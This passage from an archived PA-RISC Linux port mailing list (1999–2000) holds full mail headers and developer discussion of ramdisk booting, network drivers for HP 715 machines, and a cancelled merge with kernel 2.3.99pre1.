init/main.c,v
kernel/sched.c,v

Files we touched since last merge and rm'ed in Linus' 2.3.99 pre1
drivers/net/tulip.c,v
(There's a reworked tulip driver in /drivers/net/tulip/ - someone needs
to figure out the Right Thing to do here.)


Please let me know if you have any questions or suggestions.  The last
merge went as smoothly as such things go, and if everyone helps out,
this one should be no different.

	- Mike.


From - Thu Nov 08 21:12:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Boot #4 and source on ftp site
Date: Fri, 12 Mar 1999 14:58:52 -0800 (PST)
Lines: 25
Approved: news@gmane.org
Message-ID: <199903122258.OAA15588@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618839 31459 80.91.229.3 (22 Nov 2014 01:13:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:59 +0000 (UTC)
Cc: jason@gatekeeper.equator.com
To: hppa-linux@thepuffingroup.com
Original-X-From: jason@gatekeeper.equator.com  Fri Mar 12 17:59:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id RAA31205
	for <hppa-linux@sod.res.cmu.edu>; Fri, 12 Mar 1999 17:59:14 -0500
Original-Received: (qmail 21408 invoked by uid 15267); 12 Mar 1999 22:58:48 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 21401 invoked from network); 12 Mar 1999 22:58:47 -0000
Original-Received: from gatekeeper.equator.com (jason@204.137.130.1)
  by mailserv2.iuinc.com with SMTP; 12 Mar 1999 22:58:47 -0000
Original-Received: (from jason@localhost)
	by gatekeeper.equator.com (8.9.1a/8.9.1) id OAA15588;
	Fri, 12 Mar 1999 14:58:52 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:7044


Grant Grundler <grundler@cup.hp.com> wrote:

>
> Works on B132L (early version B-class). Will try it on a newer
> C-class next.
>
  
  Thanks for helping out.

> One gripe: The test code doesn't automatically reboot the box.
> I use remote consoles and have to walk over to the machine room
> to cycle power...

  Sorry about that..my HP sits at my feet and I just hit the TOC button.
  I'll add this to the next test version.

>remember I'm doing this in my "spare" time.

  Same here.

  Jason.

  


From - Thu Nov 08 21:12:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ramdisk problem with ELF kernel
Date: Thu, 16 Mar 2000 00:59:32 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <00031601070900.00312@P100>
References: <20000315113909.28758.qmail@web501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618839 31461 80.91.229.3 (22 Nov 2014 01:13:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:59 +0000 (UTC)
To: Ulrich Strelow <ulrich_strelow@yahoo.com>, parisc-linux@thepuffingroup.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Wed Mar 15 18:05:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA04152
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Mar 2000 18:05:54 -0700
Original-Received: (qmail 6422 invoked by uid 15267); 16 Mar 2000 00:07:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6409 invoked from network); 16 Mar 2000 00:07:14 -0000
Original-Received: from pec-51-247.tnt8.me.uunet.de (HELO P100.ruhr-uni-bochum.de) (root@149.225.51.247)
  by mailserv2.iuinc.com with SMTP; 16 Mar 2000 00:07:14 -0000
Original-Received: from localhost (localhost [[UNIX: localhost]])
	by P100.ruhr-uni-bochum.de (8.8.8/8.8.8) id BAA00606;
	Thu, 16 Mar 2000 01:07:09 +0100
X-Mailer: KMail [version 1.0.29]
In-Reply-To: <20000315113909.28758.qmail@web501.mail.yahoo.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7045

Am Wed, 15 Mar 2000 schrieb Ulrich Strelow:
> Hi all,

Hi Ulrich,

> 
> I switched my build environment from HP-UX 10.20 SOM
> to cross compile on x86 ELF and building and booting a
> kernel works fine. Compiling the kernel now only takes
> 5-10 minutes compared to 1 to 1 1/2 hours(!) on my
> 715/33. Great ! But (there is always a but) ...
> 
> Because there is currently no network driver for the
> 715/33 I need to boot with a ramdisk. 

I just checked the hardware-database, and it seems that the 715/33 has a
standard LASI-LAN-Adaptor (i82596, (old driver: Apricot)).
If you enable lasi-support and the "lasi-ethernet"-driver from the
network-devices, you should be able to boot with root-nfs.....


> In former times there was copying ramdisk.bin to /usr/src/linux and
> "make Image", but how to do this now (when "make
> Image" no longer works)?
> 
> This is what I have tried:
> I found the undocumented "-r" switch in palo to add a
> ramdisk to the lif image. I tried both the original
> ramdisk.bin and the compiled ramdisk.o but in both
> cases the kernel is not able to detect the ramdisk.
> 
> Has anyone a solution to this?
> 
> Ulrich

Helge.


From - Thu Nov 08 21:12:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gyula Matics" <gyula_matics@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ramdisk problem with ELF kernel
Date: Thu, 16 Mar 2000 09:25:08 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <000201bf8f21$bff17b70$a94abc0f@hungary.hp.com>
References: <00031601070900.00312@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618839 31464 80.91.229.3 (22 Nov 2014 01:13:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:59 +0000 (UTC)
To: <Helge.Deller@ruhr-uni-bochum.de>, <ulrich_strelow@yahoo.com>,
        <parisc-linux@thepuffingroup.com>
Original-X-From: gyula_matics@hp.com  Thu Mar 16 02:28:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA08115
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Mar 2000 02:28:13 -0700
Original-Received: (qmail 25486 invoked by uid 15267); 16 Mar 2000 08:29:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25479 invoked from network); 16 Mar 2000 08:29:36 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 16 Mar 2000 08:29:36 -0000
Original-Received: from bimbo.hungary.hp.com (bimbo.hungary.hp.com [15.188.72.201])
	by palrel1.hp.com (Postfix) with ESMTP
	id CA9E9382; Thu, 16 Mar 2000 00:29:33 -0800 (PST)
Original-Received: from pcmatics ([15.127.193.79] (may be forged)) by bimbo.hungary.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.1) id JAA08570; Thu, 16 Mar 2000 09:29:26 +0100 (MET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:7046

> I just checked the hardware-database, and it seems that the 715/33 has a
> standard LASI-LAN-Adaptor (i82596, (old driver: Apricot)).
> If you enable lasi-support and the "lasi-ethernet"-driver from the
> network-devices, you should be able to boot with root-nfs.....

The problem is, that it has ASP not LASI. The MAC address is not returned
by the PDC call the current driver is using thus the driver gives up.

Gyula


From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge with Linus 2.3.99pre1
Date: Thu, 16 Mar 2000 12:15:25 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20000316121525.H673@abacus.local>
References: <20000315140309.U27942@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618839 31466 80.91.229.3 (22 Nov 2014 01:13:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: prumpf@inwestnet.de  Thu Mar 16 05:14:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA10107
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Mar 2000 05:14:58 -0700
Original-Received: (qmail 13702 invoked by uid 15267); 16 Mar 2000 11:16:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13689 invoked from network); 16 Mar 2000 11:16:20 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 16 Mar 2000 11:16:20 -0000
Original-Received: (qmail 15324 invoked from network); 16 Mar 2000 11:16:18 -0000
Original-Received: from port0768.fra.ginko.net (HELO inwestnet.de) (root@212.202.69.6)
  by mail.ginko.net with SMTP; 16 Mar 2000 11:16:18 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id MAA05144;
	Thu, 16 Mar 2000 12:16:28 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <20000315140309.U27942@thepuffingroup.com>; from willy@thepuffingroup.com on Wed, Mar 15, 2000 at 02:03:09PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7047

On Wed, Mar 15, 2000 at 02:03:09PM -0500, willy@thepuffingroup.com wrote:
> Linus released 2.3.99pre1 today which marks the start of the 2.4
> release effort.  We'd like to merge Linus' changes into our tree on
> Friday, starting around 11am EST (8am PST, 4pm UTC, 5pm CET).

I don't think merging with 2.3.99pre1 before verifying it works on at least
one other non-x86 architecture is a good idea.  I'd also prefer it if someone
tried nfsroot aso with it before.

Wouldn't it be a good idea to choose a kernel that has been released for more
than 2 days for merging ?

> If you have any local changes which can go back into our tree, now would be a
> good time to commit them.

I do, but am still waiting for reactions to the Assembly Language Changes
thread.

> If you're in the middle of something which
> will be disrupted by this, now would also be a good time to shout `STOP'.

My changes can as easily be merged after we moved to 2.3.99pre1 as they can
now.

	Philipp


From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge with Linus 2.3.99pre1
Date: Thu, 16 Mar 2000 10:27:48 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <20000316102748.D27942@thepuffingroup.com>
References: <20000315140309.U27942@thepuffingroup.com> <20000316121525.H673@abacus.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618840 31469 80.91.229.3 (22 Nov 2014 01:14:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@inwestnet.de>
Original-X-From: willy@thepuffingroup.com  Thu Mar 16 09:26:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA11572
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Mar 2000 09:26:28 -0700
Original-Received: (qmail 2162 invoked by uid 15267); 16 Mar 2000 15:27:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2155 invoked from network); 16 Mar 2000 15:27:51 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 16 Mar 2000 15:27:51 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id KAA22801;
	Thu, 16 Mar 2000 10:27:48 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000316121525.H673@abacus.local>; from Philipp Rumpf on Thu, Mar 16, 2000 at 12:15:25PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7048

On Thu, Mar 16, 2000 at 12:15:25PM +0100, Philipp Rumpf wrote:
> On Wed, Mar 15, 2000 at 02:03:09PM -0500, willy@thepuffingroup.com wrote:
> > Linus released 2.3.99pre1 today which marks the start of the 2.4
> > release effort.  We'd like to merge Linus' changes into our tree on
> > Friday, starting around 11am EST (8am PST, 4pm UTC, 5pm CET).
> 
> I don't think merging with 2.3.99pre1 before verifying it works on at least
> one other non-x86 architecture is a good idea.  I'd also prefer it if someone
> tried nfsroot aso with it before.

It works on sparc (Josh Uziel has it running).  Your point about trying
nfs-root is a good one.  I shall test that today.

> Wouldn't it be a good idea to choose a kernel that has been released for more
> than 2 days for merging ?

By Friday it'll have been out for 4 days :-)  If there's anything
catastrophic, I think we would know by now.

> > If you have any local changes which can go back into our tree, now would be a
> > good time to commit them.
> 
> I do, but am still waiting for reactions to the Assembly Language Changes
> thread.

i think that anyone who wants to object has had sufficient time to do so
by now.

> > If you're in the middle of something which
> > will be disrupted by this, now would also be a good time to shout `STOP'.
> 
> My changes can as easily be merged after we moved to 2.3.99pre1 as they can
> now.

I guess it's your call then.


From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.3.99pre1 merge CANCELLED
Date: Thu, 16 Mar 2000 20:12:28 -0500
Organization: Legion of Mozilla
Lines: 20
Approved: news@gmane.org
Message-ID: <38D1867C.F8098460@subcarrier.org>
References: <20000315140309.U27942@thepuffingroup.com> <20000316121525.H673@abacus.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618840 31473 80.91.229.3 (22 Nov 2014 01:14:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:00 +0000 (UTC)
Cc: Philipp Rumpf <prumpf@inwestnet.de>
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Thu Mar 16 19:12:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA15881
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Mar 2000 19:12:11 -0700
Original-Received: (qmail 19952 invoked by uid 15267); 17 Mar 2000 01:13:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19942 invoked from network); 17 Mar 2000 01:13:34 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 17 Mar 2000 01:13:34 -0000
Original-Received: (qmail 14510 invoked from network); 17 Mar 2000 01:11:25 -0000
Original-Received: from cr482258-a.slnt1.on.wave.home.com (HELO subcarrier.org) (24.114.168.169)
  by relay1.pair.com with SMTP; 17 Mar 2000 01:11:25 -0000
X-pair-Authenticated: 24.114.168.169
Original-Sender: subc@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7049

There have now been reported several problems with the 2.3.99pre1
release, so prumpf is right that we should hold off merging for now. 
Once there is a stable 2.3.99preX release, we should merge to that
kernel since it has been some time since our last merge.

This has been a test of the emergency merge system, we now return you to
our (ir)regularly scheduled hacking.

	- Mike.

Philipp Rumpf wrote:
> 
> On Wed, Mar 15, 2000 at 02:03:09PM -0500, willy@thepuffingroup.com wrote:
> > Linus released 2.3.99pre1 today which marks the start of the 2.4
> > release effort.  We'd like to merge Linus' changes into our tree on
> > Friday, starting around 11am EST (8am PST, 4pm UTC, 5pm CET).
> 
> Wouldn't it be a good idea to choose a kernel that has been released for more
> than 2 days for merging ?


From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.3.99pre1 merge CANCELLED
Date: Fri, 17 Mar 2000 10:18:59 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <E12W0Op-0002kk-00@endor.fc.hp.com>
References: <38D1867C.F8098460@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618840 31479 80.91.229.3 (22 Nov 2014 01:14:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Fri Mar 17 11:17:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA22881
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Mar 2000 11:17:36 -0700
Original-Received: (qmail 25081 invoked by uid 15267); 17 Mar 2000 17:19:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25069 invoked from network); 17 Mar 2000 17:19:01 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 17 Mar 2000 17:19:01 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by atlrel1.hp.com (Postfix) with ESMTP id 38AF1183
	for <parisc-linux@thepuffingroup.com>; Fri, 17 Mar 2000 12:19:00 -0500 (EST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12W0Op-0002kk-00; Fri, 17 Mar 2000 10:18:59 -0700
In-reply-to: Your message of "Thu, 16 Mar 2000 20:12:28 EST."
             <38D1867C.F8098460@subcarrier.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:7050

= There have now been reported several problems with the 2.3.99pre1
= release, so prumpf is right that we should hold off merging for now. 
= Once there is a stable 2.3.99preX release, we should merge to that
= kernel since it has been some time since our last merge.

We could use this opportunity to start removing our SOM __setup
hacks since we're now based on ELF?

	-P


From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.3.99pre1 merge CANCELLED
Date: Fri, 17 Mar 2000 13:17:59 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20000317131759.G27942@thepuffingroup.com>
References: <38D1867C.F8098460@subcarrier.org> <E12W0Op-0002kk-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618841 31482 80.91.229.3 (22 Nov 2014 01:14:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@endor.fc.hp.com>
Original-X-From: willy@thepuffingroup.com  Fri Mar 17 12:18:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA23672
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Mar 2000 12:18:06 -0700
Original-Received: (qmail 8837 invoked by uid 15267); 17 Mar 2000 18:19:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8828 invoked from network); 17 Mar 2000 18:19:31 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 17 Mar 2000 18:19:31 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id NAA06034;
	Fri, 17 Mar 2000 13:17:59 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <E12W0Op-0002kk-00@endor.fc.hp.com>; from Paul Bame on Fri, Mar 17, 2000 at 10:18:59AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7051

On Fri, Mar 17, 2000 at 10:18:59AM -0700, Paul Bame wrote:
> = There have now been reported several problems with the 2.3.99pre1
> = release, so prumpf is right that we should hold off merging for now. 
> = Once there is a stable 2.3.99preX release, we should merge to that
> = kernel since it has been some time since our last merge.
> 
> We could use this opportunity to start removing our SOM __setup
> hacks since we're now based on ELF?

Certainly.


From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bheadley@prismalink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.3.99pre1 merge CANCELLED
Date: Fri, 17 Mar 2000 12:19:33 -0600
Organization: Prisma & Company
Lines: 33
Approved: news@gmane.org
Message-ID: <38D27735.780FC3B0@prismalink.com>
References: <E12W0Op-0002kk-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618841 31485 80.91.229.3 (22 Nov 2014 01:14:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:01 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: bheadley@prismalink.com  Fri Mar 17 12:24:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA24124
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Mar 2000 12:24:54 -0700
Original-Received: (qmail 14235 invoked by uid 15267); 17 Mar 2000 18:26:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14216 invoked from network); 17 Mar 2000 18:26:18 -0000
Original-Received: from postal.interaccess.com (207.208.133.2)
  by mailserv2.iuinc.com with SMTP; 17 Mar 2000 18:26:18 -0000
Original-Received: from prismalink.com (IDENT:bheadley@d60.focal7.interaccess.com [207.208.187.60])
	by postal.interaccess.com (8.9.0/8.9.0) with ESMTP id MAA24600
	for <parisc-linux@thepuffingroup.com>; Fri, 17 Mar 2000 12:20:08 -0600 (CST)
Original-Sender: bheadley@postal.interaccess.com
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7052

Personally, I'd merge now regardless of their situation. If the goal is to be
in the 2.4 baseline, then the rest of the development
community needs to see that the addition of the parisc code does not
negatively effect things.  If not, and it's a 2.5 delivery, we still
have to be firmly rooted in 2.4, when the two trees split off.

Also, the changes required to fix whatever's wrong with 2.3.99pre1 may be in
the realm of 3-4 files; what's the manifest for merging look like in
comparison, and what is the likelihood of the 3-4 (or whatever the count)
files between what you are merging/contributing and what they are fixing
overlapping each other?

Even if they do overlap, I'd rather manage the 1-2 line "patches" they put
into those overlapped files than continually hold off doing the merge.  Either
road, the sooner you can drop the manifest of the files to merge from "the
whole distribution" to a more manageable 2-5 files, plus arch/pa-risc, the
better.

The sooner we're in sync to something, the easier it'll be to keep in sync.
The early 2.4's will go fast, as things forgotten to be merged, or not merged
right and ferreted out and fixed. (One of the reasons I dislike the parallel
development paths: none of us have good enough revision control tools to
notice that something fixed in 2.2 after branch-off did not propagate to 2.3
as it should -- ah, for a PD Clearcase!)


--
Bryan W. Headley                     Phone: 312/913-9158
Chief Technology Officer             Fax:   312/913-9155
Prisma & Company                     Email: bheadley@prismalink.com




From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jle@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.3.99pre1 merge CANCELLED
Date: Fri, 17 Mar 2000 11:28:05 -0800 (PST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.SOL.3.91.1000317111247.13713D-100000@cse.cygnus.com>
References: <38D27735.780FC3B0@prismalink.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618841 31491 80.91.229.3 (22 Nov 2014 01:14:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:01 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: "Bryan W. Headley" <bheadley@prismalink.com>
Original-X-From: jle@cygnus.com  Fri Mar 17 13:26:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA24768
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Mar 2000 13:26:49 -0700
Original-Received: (qmail 31452 invoked by uid 15267); 17 Mar 2000 19:28:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31445 invoked from network); 17 Mar 2000 19:28:14 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 17 Mar 2000 19:28:14 -0000
Original-Received: from cse.cygnus.com (cse.cygnus.com [205.180.230.236])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id LAA00219;
	Fri, 17 Mar 2000 11:28:08 -0800 (PST)
Original-Received: (jle@localhost) by cse.cygnus.com (8.8.8+Sun/8.6.4) id LAA14099; Fri, 17 Mar 2000 11:28:06 -0800 (PST)
In-Reply-To: <38D27735.780FC3B0@prismalink.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7053




On Fri, 17 Mar 2000, Bryan W. Headley wrote:

> The early 2.4's will go fast, as things forgotten to be merged, or not merged
> right and ferreted out and fixed. (One of the reasons I dislike the parallel
> development paths: none of us have good enough revision control tools to
> notice that something fixed in 2.2 after branch-off did not propagate to 2.3
> as it should -- ah, for a PD Clearcase!)
> 

  While CVS isn't the perfect revision control system, I would use almost
  anything before ever touching ClearCase again...the intolerable slowness,
  the endless clearcase admin issues, the more-time-being-pissed-off-at-
  clearcase-than-doing-real-work issues, ... 
  jason.

> 
> --
> Bryan W. Headley                     Phone: 312/913-9158
> Chief Technology Officer             Fax:   312/913-9155
> Prisma & Company                     Email: bheadley@prismalink.com
> 


From - Thu Nov 08 21:12:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rob fleming <rfleming@cc.weber.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/60
Date: Fri, 17 Mar 2000 13:17:17 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <38D2305D.697A44C7@cc.weber.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618842 31521 80.91.229.3 (22 Nov 2014 01:14:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:02 +0000 (UTC)
To: PA-risc Linux <parisc-linux@thepuffingroup.com>
Original-X-From: rfleming@cc.weber.edu  Fri Mar 17 14:10:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA25667
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Mar 2000 14:10:23 -0700
Original-Received: (qmail 1418 invoked by uid 15267); 17 Mar 2000 20:11:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
